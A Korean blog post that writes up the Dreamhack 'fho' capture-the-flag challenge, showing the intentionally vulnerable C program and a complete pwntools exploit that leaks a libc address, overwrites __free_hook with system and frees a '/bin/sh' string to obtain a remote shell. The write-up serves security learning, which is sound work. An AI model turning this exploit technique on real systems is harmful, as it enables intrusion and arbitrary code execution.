외로운 Nova의 작업실

dreamhack - fho write up 본문

Computer App Penetesting/System Vulnerability

dreamhack - fho write up

Nova_ 2023. 4. 24. 13:43

- source code

 

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

 

- exploit code

 

from pwn import *

p = remote("23.81.42.210", 19147 )
libc = ELF("./libc-2.27.so")

#proc - 1 : leack __libc_start_main231
payload = b"A" *0x48
p.recvuntil("Buf: ")
p.send(payload)
p.recvuntil(payload)
lib_start_231 = u64(p.recvline()[:-1]+b"\x00"*2)
lib_base = lib_start_231 - (libc.symbols["__libc_start_main"] + 231)
free_hook = lib_base + libc.symbols["__free_hook"]
print(libc.symbols["__free_hook"])
system = lib_base + libc.symbols["system"]
print(libc.symbols["system"])
binsh = lib_base + next(libc.search(b"/bin/sh"))
print(next(libc.search(b"/bin/sh")))

#proc - 2 : write system into freehook
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
print(p.recvline())

#proc - 3 : input /bin/sh
p.recvuntil("To free: ")
p.sendline(str(binsh))

p.interactive()

 

- 알게된점

1. scanf() 함수는 str 문자열로 줘야합니다.

2. printf()함수라고해서 무조건 문자열값은 아닙니다. 바이트값일 수 있으니 항상 확인해야합니다.

3. 특정 라이브러리의 문자열, 함수 오프셋은 파이썬이 다 할 수 있습니다.

 

'Computer App Penetesting > System Vulnerability' 카테고리의 다른 글

dreamhack - basic_exploitation_002  (0) 2023.04.27
dreamhack - OOB write up  (0) 2023.04.25
dreamhack - hook write up  (0) 2023.04.22
dreamhack - oneshot write up  (0) 2023.04.21
dreamhack - basic_rop_x86 write up  (0) 2023.04.20
Comments